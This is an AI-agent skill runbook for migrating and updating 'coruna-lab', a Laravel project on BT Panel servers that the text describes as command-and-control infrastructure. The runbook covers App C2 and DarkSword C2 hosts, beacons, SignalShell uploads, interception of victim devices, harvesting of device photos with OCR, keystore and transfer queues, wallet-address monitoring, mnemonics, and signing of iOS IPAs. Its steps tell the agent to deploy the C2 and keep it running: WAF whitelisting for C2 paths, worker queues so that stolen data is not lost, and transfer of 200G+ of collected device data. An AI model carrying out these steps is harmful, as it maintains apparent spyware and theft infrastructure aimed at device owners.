--- name: coruna-lab-migrate description: >- Migrate or cut over the coruna-lab (Coruna Lab) Laravel project to a new BT Panel (宝塔) server, or update an already-provisioned remote box with latest code and required config (git pull, migrate, supervisor, WAF, APP_API_DOMAIN, ldid, php-fpm reload). Use when the user asks to migrate coruna-lab, 换服务器, 迁移机器, 搬家, 远程更新最新代码, 按更新完成相关配置, or set up a fresh coruna-lab deployment. Trigger keywords: coruna-lab 迁移, 迁移服务器, 换机器, migrate coruna-lab, server migration, 远程更新, 更新远程代码, 54.169, Lightsail pem. --- # coruna-lab Server Migration Two workflows. Pick one from the user request: | Mode | When | Start at | |------|------|----------| | **A. Remote update** | Target already has coruna-lab; user wants latest code + config (migrations, queues, WAF, APP API, ldid) | [Workflow A](#workflow-a--remote-update) | | **B. Full migrate** | New empty BT box; move site + DB + storage from an old server | [Workflow B](#workflow-b--full-migrate) | Do **not** deploy or cut DNS unless the user explicitly asked. Confirm the target IP and SSH key before any write. ## Constants | Item | Value | |------|--------| | Project | `/www/wwwroot/coruna-lab` | | PHP | `/www/server/php/82/bin/php` (FPM pool `www`) | | artisan | `sudo -u www /www/server/php/82/bin/php artisan …` | | Git | `ssh://git@gitlab.fcpays.cc:2222/root/coruna-lab.git` | | Supervisor | `/www/server/panel/pyenv/bin/supervisorctl` | | Profiles | `/www/server/panel/plugin/supervisor/profile/*.ini` | | WAF | `/www/server/btwaf/config.json` | | PHP-FPM | `/etc/init.d/php-fpm-82` | | open_basedir | `public/.user.ini` → `/www/wwwroot/coruna-lab/:/tmp/` | Last successful cutover: **54.169.236.75** (Lightsail, `ubuntu` + sudo). PEM was in the operator workspace (`LightsailDefaultKey-ap-southeast-1.pem`). SSH: `IdentitiesOnly=yes`. BT MCP for **27.124** is a different box — never use it to change 54.169. C2 and admin share one vhost/root (`public/`). Typical `server_name`: admin host + DS/xxbb/App API hosts (e.g. `admin.capssk888.com`, `zydrlfynoptx9aw.icu`, `kfsdljlows.com`, `mnskal.cc`). ## Hard rules 1. Backup `.env`, WAF `config.json`, and nginx vhost before editing. 2. Never add a custom nginx `^~ location /api/ap` — it bypasses Laravel and breaks App C2. 3. After `git pull`, always reload **php-fpm-82**. Live FPM has `opcache.validate_timestamps=Off`. 4. `git pull` as `www` needs `chown -R www:www .git` (and the tree). 5. `APP_API_DOMAIN` is **host only** (`mnskal.cc`), not `https://…`. 6. Do not print `.env` secrets, APP_KEY, Tokenview keys, or mnemonics. 7. Do not spam the product Telegram 通知群. Agent chat is a separate cc-connect window. 8. Do not modify 宝塔 panel source or `bt_agent_mcp` credentials. ## Workflow A — remote update Copy this checklist and tick as you go: ``` - [ ] Confirm target IP + SSH key (not the old BT MCP host) - [ ] Pull latest code as www; composer install - [ ] APP_API_DOMAIN + LDID_PATH; bin/ldid present - [ ] artisan migrate --force - [ ] Supervisor: queue ocr extract keystore telegram transfer shell - [ ] crontab schedule:run every minute - [ ] WAF url_white + body_size 30MB; nginx client_body_buffer_size - [ ] open_basedir + proc_open; no shell_exec required - [ ] config/route/view:clear; reload php-fpm-82 - [ ] Local curl: /admin 302, /beacon 200 ``` ### A1. Recon SSH as the provisioned user (`ubuntu` on Lightsail), then `sudo`. Confirm `hostname`, `df`, nginx/php-fpm/mysql/redis processes, and that the site root is `/www/wwwroot/coruna-lab/public`. ### A2. Pull + deps ```bash cd /www/wwwroot/coruna-lab chown -R www:www .git . sudo -u www git pull --ff-only sudo -u www /www/server/php/82/bin/php /usr/bin/composer install --no-dev --optimize-autoloader ``` If `www` cannot read the deploy key, pull as root then `chown -R www:www .`. ### A3. .env (update only what the user named) | Key | Notes | |-----|--------| | `APP_API_DOMAIN` | Host only. Used in IPA builds (`config/coruna.php` `app_api_domain`). | | `LDID_PATH` | Default `base_path('bin/ldid')`. Must be inside open_basedir. Do **not** `file_exists()` it from FPM (open_basedir). | | `APP_URL` | Admin / Laravel URL. | | `QUEUE_CONNECTION` | `redis` | | `DS_DOMAIN` | DarkSword C2 host if used by builders. | | `INTERCEPT_DEVICE_KEYS` | Comma-separated device IDs to proxy. | | `INTERCEPT_FORWARD_URL` | Dest C2 base URL, e.g. `https://c2.example.com`. Empty = 502, no local fallback. | Keep `APP_KEY`. Never `key:generate` on a live migrate unless the user asks. ### A4. Migrate + caches ```bash sudo -u www /www/server/php/82/bin/php artisan migrate --force sudo -u www /www/server/php/82/bin/php artisan config:clear sudo -u www /www/server/php/82/bin/php artisan route:clear sudo -u www /www/server/php/82/bin/php artisan view:clear ``` `view:clear` is required — stale Blade caused admin 500/404 after deploys. ### A5. Supervisor (7 programs, 2 procs each) Missing **`shell`** or **`extract`** is silent data loss. Commands: | ini | command | |-----|---------| | `queue.ini` | `artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600` | | `ocr.ini` | `artisan queue:work redis --queue=ocr --sleep=1 --tries=1 --timeout=90 --max-jobs=100` + `-d memory_limit=256M` | | `extract.ini` | `artisan queue:work redis --queue=extract --sleep=1 --tries=1 --timeout=200 --max-jobs=100` + `-d memory_limit=256M` | | `keystore.ini` | `artisan queue:work keystore --sleep=1 --tries=1 --timeout=320 --max-time=3600` | | `telegram.ini` | `artisan queue:work telegram --sleep=1 --tries=3 --timeout=30 --max-time=3600` | | `transfer.ini` | `artisan queue:work transfer --sleep=1 --tries=1 --timeout=200 --max-time=3600` | | `shell.ini` | `artisan queue:work shell --queue=shell --sleep=1 --tries=2 --timeout=120 --memory=256 --max-time=3600` | All: `directory=/www/wwwroot/coruna-lab/`, `user=www`, `numprocs=2`, `process_name=%(program_name)s_%(process_num)02d`, `autorestart=true`. Full template: [supervisor.md](supervisor.md). ```bash /www/server/panel/pyenv/bin/supervisorctl reread /www/server/panel/pyenv/bin/supervisorctl update /www/server/panel/pyenv/bin/supervisorctl status ``` ### A6. Scheduler ``` * * * * * sudo -u www bash -c 'cd /www/wwwroot/coruna-lab && /www/server/php/82/bin/php artisan schedule:run >> /dev/null 2>&1' ``` ### A7. WAF + nginx body size Backup `/www/server/btwaf/config.json` first. - `http_config.body_size` (or equivalent) → **30MB** (chunked App C2 / SignalShell uploads). - `url_white`: at least `^/api/ap/*` plus existing C2 chunk paths. Do not whitelist everything. - Nginx `client_body_buffer_size` **4096k** (1MiB chunks were blocked at 1MB). - Reload WAF/nginx via panel-safe reload. `nginx -t` before reload. ### A8. ldid / IPA Copy or build `ldid` to `/www/wwwroot/coruna-lab/bin/ldid`, `chmod +x`, owned by `www`. Set `LDID_PATH`. FPM must allow `proc_open`. Signing must not call `file_exists($ldidPath)` outside open_basedir. ### A9. PHP-FPM reload + probe ```bash /etc/init.d/php-fpm-82 reload # restart if listen backlog / pm.* changed ``` Local `--resolve` probes (delete probe files after): - `/.probe_static.html` → 200 - `/.probe_php.php` → PHP version - `/admin` → 302 - `/beacon` → 200 If admin/C2 return **502** with `connect() to unix:/tmp/php-cgi-82.sock failed (11: Resource temporarily unavailable)`: FPM pool is saturated. Raise `pm.max_children` (48 on a 36-core box), `net.core.somaxconn=4096`, recreate the listen socket with a **restart** (reload keeps backlog=1024). Do not dump full `/result` bodies to `error_log` — Nginx then 502s on the response header. Admin and C2 share the same FPM pool. ## Workflow B — full migrate Use when the new box does not yet have the site. ### B1. Prepare new server BT Panel + Nginx + PHP 8.2 + MySQL + Redis. Create DB `coruna` utf8mb4. Create the site with root `/www/wwwroot/coruna-lab/public`. Bind all C2 + admin hostnames on that vhost. ### B2. Code Prefer **git clone** of `gitlab.fcpays.cc:2222/root/coruna-lab.git` as `www` if the box has deploy key. Otherwise: ```bash git archive --format=tar HEAD | gzip > /tmp/coruna-lab-code.tar.gz # scp + tar -xzf into /www/wwwroot/coruna-lab chown -R www:www /www/wwwroot/coruna-lab sudo -u www composer install --no-dev --optimize-autoloader ``` ### B3. Database ```bash # old mysqldump -ucoruna -p coruna --single-transaction --routines > /tmp/coruna.sql # new mysql -ucoruna -p coruna < /tmp/coruna.sql sudo -u www php artisan migrate --force ``` Copy `.env` from old; change `APP_URL`, `DB_*`, confirm Redis. Keep `APP_KEY`. Then Workflow A3–A9. ### B4. Storage `storage/app/private/c2/` can be 200G+. Stream per directory (photos last): ```bash SRC=/www/wwwroot/coruna-lab/storage/app/private/c2 DST=/www/wwwroot/coruna-lab/storage/app/private/c2 for dir in photo-previews ds-chunks ds-notes ds-results plugin-sessions inbox photos; do tar -C "$SRC" -cf - "$dir" | ssh -i KEY ubuntu@NEW "sudo tar -C '$DST' -xf -" done ``` Photos live at `c2/photos/{device}/…`, not `storage/app/private/photos/`. ### B5. DNS Update A/AAAA (Cloudflare proxy = instant). Stop old supervisor only after the new box has taken traffic. Decommission old after 24–48h. ## Verify (both modes) ```bash /www/server/panel/pyenv/bin/supervisorctl status # all seven programs RUNNING (14 processes) sudo -u www php artisan tinker --execute=' foreach (["default","extract","ocr","keystore","telegram","transfer","shell"] as $q) { echo $q, "=", Illuminate\Support\Facades\Redis::llen("queues:".$q), "\n"; } ' ``` - `/admin` 302, `/beacon` 200 - `inbox/` not growing unbounded (extract worker) - Tokenview monitor cap is **5000**. After a migrate, reconcile list vs `wallet_addresses` (see Tokenview list API `GET …/monitor/address/list/{coin}?page=&apikey=`). ## Pitfalls | Symptom | Cause | Fix | |---------|--------|-----| | Pull “insufficient permission” | `.git` owned by root | `chown -R www:www .git` | | Code pulled, web still old | opcache, no FPM reload | reload php-fpm-82 | | IPA build open_basedir / ldid | `file_exists('/usr/bin/ldid')` | project `bin/ldid` + `LDID_PATH`; no file_exists | | App C2 404 after “优化” | extra nginx `location ^~ /api/ap` | remove it; Laravel routes only | | Photos stop, inbox grows | no `extract` worker | add extract.ini | | Shell zip never ingested | no `shell` worker | add shell.ini | | Admin 502, load “only” ~20 | FPM 24 children + sock backlog 1024 | max_children 48, somaxconn 4096, FPM **restart** | | Admin 500 after deploy | stale views | `view:clear` | | Login locked | `login_attempts` / `locked_at` | reset those columns | | WAF 403 on chunks | body 1MB / no url_white | 30MB + `^/api/ap/*` | | BT MCP edits wrong host | MCP is bound to one panel | SSH the IP the user named | ## After cutover 1. Old supervisor `stop all` once DNS/traffic is on the new box. 2. Run `coruna-lab-cleanup` if disk is tight. 3. Watch php-fpm listen queue (`ss -lxnp` on `php-cgi-82.sock`) under C2 load. ## Extra templates - Supervisor ini: [supervisor.md](supervisor.md)